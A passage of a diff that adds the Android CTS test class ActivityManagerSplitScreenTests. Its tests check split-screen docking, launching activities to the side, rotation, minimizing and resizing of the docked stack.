+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
+
+import static android.app.ActivityManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
+import static android.app.ActivityManager.SPLIT_SCREEN_CREATE_MODE_BOTTOM_OR_RIGHT;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+/**
+ * Build/Install/Run:
+ *     atest CtsActivityManagerDeviceTestCases:android.server.am.ActivityManagerSplitScreenTests
+ */
+public class ActivityManagerSplitScreenTests extends ActivityManagerTestBase {
+
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String NON_RESIZEABLE_ACTIVITY_NAME = "NonResizeableActivity";
+    private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
+    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
+    private static final String SINGLE_INSTANCE_ACTIVITY_NAME = "SingleInstanceActivity";
+    private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
+
+    private static final String TEST_ACTIVITY_ACTION_FINISH =
+        "android.server.am.TestActivity.finish_self";
+
+    private static final int TASK_SIZE = 600;
+    private static final int STACK_SIZE = 300;
+
+    @Test
+    public void testMinimumDeviceSize() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        mAmWmState.assertDeviceDefaultDisplaySize(
+                "Devices supporting multi-window must be larger than the default minimum"
+                        + " task size");
+    }
+
+    @Test
+    @Presubmit
+    public void testStackList() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivity(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertContainsStack("Must contain home stack.",
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+    }
+
+    @Test
+    public void testDockActivity() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertContainsStack("Must contain home stack.",
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+    }
+
+    @Test
+    @Presubmit
+    public void testNonResizeableNotDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(NON_RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+
+        mAmWmState.assertContainsStack("Must contain home stack.",
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertFrontStack("Fullscreen stack must be front stack.",
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+    }
+
+    @Test
+    @Presubmit
+    public void testLaunchToSide() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+    }
+
+    @Test
+    @Presubmit
+    public void testLaunchToSideMultiWindowCallbacks() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        // Launch two activities, one docked, one adjacent
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        getLaunchActivityBuilder()
+                .setToSide(true)
+                .setWaitForLaunched(true)
+                .execute();
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+        // Exit split-screen mode and ensure we only get 1 multi-window mode changed callback.
+        final String logSeparator = clearLogcat();
+        removeStacksInWindowingModes(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        final ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+                TEST_ACTIVITY_NAME, logSeparator);
+        assertEquals(1, lifecycleCounts.mMultiWindowModeChangedCount);
+    }
+
+    @Test
+    @Presubmit
+    public void testNoUserLeaveHintOnMultiWindowModeChanged() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+
+        // Move to docked stack.
+        String logSeparator = clearLogcat();
+        setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        ActivityLifecycleCounts lifecycleCounts = waitForOnMultiWindowModeChanged(
+                TEST_ACTIVITY_NAME, logSeparator);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.mMultiWindowModeChangedCount);
+        assertEquals("mUserLeaveHintCount", 0, lifecycleCounts.mUserLeaveHintCount);
+
+        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+        // will come up.
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+        // Move activity back to fullscreen stack.
+        logSeparator = clearLogcat();
+        setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+        lifecycleCounts = waitForOnMultiWindowModeChanged(TEST_ACTIVITY_NAME, logSeparator);
+        assertEquals("mMultiWindowModeChangedCount",
+                1, lifecycleCounts.mMultiWindowModeChangedCount);
+        assertEquals("mUserLeaveHintCount", 0, lifecycleCounts.mUserLeaveHintCount);
+    }
+
+    @Test
+    @Presubmit
+    public void testLaunchToSideAndBringToFront() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
+        final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
+
+        // Launch activity to side.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(waitForFirstVisible);
+        int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY_NAME);
+
+        // Launch another activity to side to cover first one.
+        launchActivity(
+                NO_RELAUNCH_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        mAmWmState.computeState(waitForSecondVisible);
+        int taskNumberCovered = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        assertEquals("Fullscreen stack must have one task added.",
+                taskNumberInitial + 1, taskNumberCovered);
+        mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                NO_RELAUNCH_ACTIVITY_NAME);
+
+        // Launch activity that was first launched to side. It should be brought to front.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(waitForFirstVisible);
+        int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        assertEquals("Task number in fullscreen stack must remain the same.",
+                taskNumberCovered, taskNumberFinal);
+        mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
+                TEST_ACTIVITY_NAME);
+    }
+
+    @Test
+    @Presubmit
+    public void testLaunchToSideMultiple() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new String[] {LAUNCHING_ACTIVITY});
+        final String[] waitForActivitiesVisible =
+            new String[] {TEST_ACTIVITY_NAME, LAUNCHING_ACTIVITY};
+
+        // Launch activity to side.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(waitForActivitiesVisible);
+        int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        assertNotNull("Launched to side activity must be in fullscreen stack.",
+                mAmWmState.getAmState().getTaskByActivityName(
+                        TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+        // Try to launch to side same activity again.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(waitForActivitiesVisible);
+        int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
+        mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
+                TEST_ACTIVITY_NAME);
+        assertNotNull("Launched to side activity must remain in fullscreen stack.",
+                mAmWmState.getAmState().getTaskByActivityName(
+                        TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+    }
+
+    @Test
+    @Presubmit
+    public void testLaunchToSideSingleInstance() throws Exception {
+        launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
+    }
+
+    @Test
+    public void testLaunchToSideSingleTask() throws Exception {
+        launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
+    }
+
+
+    @Presubmit
+    @Test
+    public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
+        launchTargetToSide(TEST_ACTIVITY_NAME, true);
+    }
+
+    private void launchTargetToSide(String targetActivityName,
+                                    boolean taskCountMustIncrement) throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+
+        final WaitForValidActivityState[] waitForActivitiesVisible =
+                new WaitForValidActivityState[] {
+                    new WaitForValidActivityState.Builder(targetActivityName).build(),
+                    new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build()
+                };
+
+        // Launch activity to side with data.
+        launchActivityToSide(true, false, targetActivityName);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+        int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        assertNotNull("Launched to side activity must be in fullscreen stack.",
+                mAmWmState.getAmState().getTaskByActivityName(
+                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+        // Try to launch to side same activity again with different data.
+        launchActivityToSide(true, false, targetActivityName);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        int taskNumberSecondLaunch = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        if (taskCountMustIncrement) {
+            assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+                    taskNumberSecondLaunch);
+        } else {
+            assertEquals("Task number must not change.", taskNumberInitial,
+                    taskNumberSecondLaunch);
+        }
+        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+        assertNotNull("Launched to side activity must be launched in fullscreen stack.",
+                mAmWmState.getAmState().getTaskByActivityName(
+                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+        // Try to launch to side same activity again with no data.
+        launchActivityToSide(false, false, targetActivityName);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        if (taskCountMustIncrement) {
+            assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
+                    taskNumberFinal);
+        } else {
+            assertEquals("Task number must not change.", taskNumberSecondLaunch,
+                    taskNumberFinal);
+        }
+        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                targetActivityName);
+        assertNotNull("Launched to side activity must be launched in fullscreen stack.",
+                mAmWmState.getAmState().getTaskByActivityName(
+                        targetActivityName, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+    }
+
+    @Presubmit
+    @Test
+    public void testLaunchToSideMultipleWithFlag() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+        final String[] waitForActivitiesVisible =
+            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+
+        // Launch activity to side.
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(waitForActivitiesVisible);
+        int taskNumberInitial = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        assertNotNull("Launched to side activity must be in fullscreen stack.",
+                mAmWmState.getAmState().getTaskByActivityName(
+                        TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+
+        // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
+        getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
+        mAmWmState.computeState(waitForActivitiesVisible);
+        int taskNumberFinal = mAmWmState.getAmState().getStandardTaskCountByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        assertEquals("Task number must be incremented.", taskNumberInitial + 1,
+                taskNumberFinal);
+        mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
+                TEST_ACTIVITY_NAME);
+        assertNotNull("Launched to side activity must remain in fullscreen stack.",
+                mAmWmState.getAmState().getTaskByActivityName(
+                        TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY));
+    }
+
+    @Test
+    public void testRotationWhenDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+        // Rotate device single steps (90°) 0-1-2-3.
+        // Each time we compute the state we implicitly assert valid bounds.
+        String[] waitForActivitiesVisible =
+            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+        for (int i = 0; i < 4; i++) {
+            setDeviceRotation(i);
+            mAmWmState.computeState(waitForActivitiesVisible);
+        }
+        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
+        // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
+        setDeviceRotation(1);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        setDeviceRotation(3);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        setDeviceRotation(0);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        setDeviceRotation(2);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        setDeviceRotation(0);
+        mAmWmState.computeState(waitForActivitiesVisible);
+    }
+
+    @Test
+    @Presubmit
+    public void testRotationWhenDockedWhileLocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(LAUNCHING_ACTIVITY).build());
+        getLaunchActivityBuilder().setToSide(true).execute();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        mAmWmState.assertSanity();
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+
+        String[] waitForActivitiesVisible =
+            new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
+        for (int i = 0; i < 4; i++) {
+            sleepDevice();
+            setDeviceRotation(i);
+            wakeUpAndUnlockDevice();
+            mAmWmState.computeState(waitForActivitiesVisible);
+        }
+    }
+
+    @Test
+    public void testMinimizedFromEachDockedSide() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        for (int i = 0; i < 2; i++) {
+            setDeviceRotation(i);
+            launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+            if (!mAmWmState.isScreenPortrait() && isTablet()) {
+                // Test minimize to the right only on tablets in landscape
+                removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+                launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME,
+                        SPLIT_SCREEN_CREATE_MODE_BOTTOM_OR_RIGHT);
+            }
+            removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        }
+    }
+
+    @Test
+    @Presubmit
+    public void testRotationWhileDockMinimized() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+
+        // Rotate device single steps (90°) 0-1-2-3.
+        // Each time we compute the state we implicitly assert valid bounds in minimized mode.
+        String[] waitForActivitiesVisible = new String[] {TEST_ACTIVITY_NAME};
+        for (int i = 0; i < 4; i++) {
+            setDeviceRotation(i);
+            mAmWmState.computeState(waitForActivitiesVisible);
+        }
+
+        // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
+        // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side in minimized
+        // mode.
+        setDeviceRotation(1);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        setDeviceRotation(3);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        setDeviceRotation(0);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        setDeviceRotation(2);
+        mAmWmState.computeState(waitForActivitiesVisible);
+        setDeviceRotation(0);
+        mAmWmState.computeState(waitForActivitiesVisible);
+    }
+
+    @Test
+    public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
+        // going home has the correct app transition
+        for (int i = 0; i < 4; i++) {
+            setDeviceRotation(i);
+            launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY_NAME);
+
+            // Unminimize the docked stack
+            pressAppSwitchButton();
+            waitForDockNotMinimized();
+            assertDockNotMinimized();
+
+            // Dismiss the dock stack
+            launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+            setActivityTaskWindowingMode(DOCKED_ACTIVITY_NAME,
+                    WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+            mAmWmState.computeState(new String[]{DOCKED_ACTIVITY_NAME});
+
+            // Go home and check the app transition
+            assertNotSame(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+            pressHomeButton();
+            mAmWmState.computeState();
+            assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
+        }
+    }
+
+    @Test
+    @Presubmit
+    public void testFinishDockActivityWhileMinimized() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+
+        executeShellCommand("am broadcast -a " + TEST_ACTIVITY_ACTION_FINISH);
+        waitForDockNotMinimized();
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, false);
+        assertDockNotMinimized();
+    }
+
+    @Test
+    @Presubmit
+    public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(TEST_ACTIVITY_NAME);
+        pressAppSwitchButton();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        sleepDevice();
+        wakeUpAndUnlockDevice();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        assertDockMinimized();
+    }
+
+    @Test
+    public void testMinimizedStateWhenUnlockedAndUnMinimized() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
+
+        sleepDevice();
+        wakeUpAndUnlockDevice();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+        // Unminimized back to splitscreen
+        pressAppSwitchButton();
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+    }
+
+    @Test
+    @Presubmit
+    public void testResizeDockedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+        resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
+        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+                new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+        mAmWmState.assertContainsStack("Must contain fullscreen stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY, ACTIVITY_TYPE_STANDARD);
+        mAmWmState.assertContainsStack("Must contain docked stack.",
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+        assertEquals(new Rect(0, 0, STACK_SIZE, STACK_SIZE),
+                mAmWmState.getAmState().getStandardStackByWindowingMode(
+                        WINDOWING_MODE_SPLIT_SCREEN_PRIMARY).getBounds());
+        mAmWmState.assertDockedTaskBounds(TASK_SIZE, TASK_SIZE, DOCKED_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
+    }
+
+    @Test
+    public void testActivityLifeCycleOnResizeDockedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        final WaitForValidActivityState[] waitTestActivityName =
+                new WaitForValidActivityState[] {new WaitForValidActivityState.Builder(
+                        TEST_ACTIVITY_NAME).build()};
+        launchActivity(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(waitTestActivityName);
+        final Rect fullScreenBounds = mAmWmState.getWmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_FULLSCREEN).getBounds();
+
+        setActivityTaskWindowingMode(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        mAmWmState.computeState(waitTestActivityName);
+        launchActivity(NO_RELAUNCH_ACTIVITY_NAME,
+                WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+                new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY_NAME).build());
+        final Rect initialDockBounds = mAmWmState.getWmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
+
+        final String logSeparator = clearLogcat();
+
+        Rect newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, true);
+        resizeDockedStack(newBounds.width(), newBounds.height(), newBounds.width(), newBounds.height());
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+                new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY_NAME).build());
+
+        // We resize twice to make sure we cross an orientation change threshold for both
+        // activities.
+        newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, false);
+        resizeDockedStack(newBounds.width(), newBounds.height(), newBounds.width(), newBounds.height());
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build(),
+                new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY_NAME).build());
+        assertActivityLifecycle(TEST_ACTIVITY_NAME, true /* relaunched */, logSeparator);
+        assertActivityLifecycle(NO_RELAUNCH_ACTIVITY_NAME, false /* relaunched */, logSeparator);
+    }
+
+    private Rect computeNewDockBounds(
+            Rect fullscreenBounds, Rect dockBounds, boolean reduceSize) {
+        final boolean inLandscape = fullscreenBounds.width() > dockBounds.width();
+        // We are either increasing size or reducing it.
+        final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
+        final Rect newBounds = new Rect(dockBounds);
+        if (inLandscape) {
+            // In landscape we change the width.
+            newBounds.right = (int) (newBounds.left + (newBounds.width() * sizeChangeFactor));
+        } else {
+            // In portrait we change the height
+            newBounds.bottom = (int) (newBounds.top + (newBounds.height() * sizeChangeFactor));
+        }
+
+        return newBounds;
+    }
+
+    @Test
+    @Presubmit
+    public void testStackListOrderLaunchDockedActivity() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(new String[]{TEST_ACTIVITY_NAME});
+
+        final int homeStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_HOME);
+        final int recentsStackIndex = mAmWmState.getStackIndexByActivityType(ACTIVITY_TYPE_RECENTS);
+        assertTrue("Recents stack should be on top of home stack",
+                recentsStackIndex < homeStackIndex);
+    }
+
+    @Test
+    @Presubmit
+    public void testStackListOrderOnSplitScreenDismissed() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no split multi-window support");
+            return;
+        }
+
+        launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
+        mAmWmState.computeState(
+                new WaitForValidActivityState.Builder(DOCKED_ACTIVITY_NAME).build());
+        launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY_NAME).build());
+
+        setActivityTaskWindowingMode(DOCKED_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+        mAmWmState.computeState(new WaitForValidActivityState.Builder(
+                DOCKED_ACTIVITY_NAME).setWindowingMode(WINDOWING_MODE_FULLSCREEN).build());
+
